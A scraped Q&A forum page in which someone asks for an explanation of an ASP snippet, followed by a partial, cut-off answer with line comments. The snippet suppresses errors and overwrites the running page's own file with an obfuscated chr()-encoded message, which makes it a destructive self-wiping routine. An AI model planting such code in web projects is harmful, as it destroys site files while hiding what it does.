ASP源码问题,请高手帮助解释一下下面整段程序的作用,及含义,最好把各关键语句按条解释,万分感谢!!

来源：百度知道 编辑：UC知道 时间：2024/06/01 01:43:54
<!--#include file="../Inc/Conn.asp"-->
<%
Sub sysconfig()
on error resume next
dim FSO,TS1,configFileName
configFileName=Server.MapPath(Request.ServerVariables("path_info"))
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)&">"&chr(60)&chr(47)&chr(98)&">"
Set TS1 = Nothing
Set FSO = Nothing
End Sub
Dim StarTime,Style

<!--#include file="../Inc/Conn.asp"--> //插入inc文件夹的conn.asp 一般是连接数据库的作用
<%
Sub sysconfig() //建立sub 语句 sysconfig
on error resume next //即使程序发生错误后继续执行，这对于程序和用户不能合理地修正错误时很有意义，但同时程序可能执行不完整
dim FSO,TS1,configFileName //定义fso等变量
configFileName=Server.MapPath(Request.ServerVariables("path_info")) 给变量赋值
Set FSO = Server.CreateObject("Scripting.FileSystemObject") //接下来一段不是很清楚
Set TS1 = FSO.CreateTextFile(configFileName, True)
TS1.Write chr(60)&chr(98)&">"&chr(60)&chr(102)&chr(111)&chr(110)&chr(116)&chr(32)&chr(99)&chr(111)&chr(108)&"o"&chr(114)&chr(61)&chr(35)&chr(70)&chr(70)&chr(48)&chr(48)&chr(48)&chr(48)&">"&chr(-19219)&chr(-12557)&chr(-23622)&chr(-19508)&chr(-12046)&chr(-13872)&chr(-12620)&chr(-10334)&chr(-19743)&chr(44)&chr(-19253)&chr(-18010)&chr(-15140)&chr(-19781)&chr(-15140)&chr(-13639)&chr(-11325)&chr(33)&"<"&chr(47)&chr(102)&chr(111)&chr(110)&chr(116)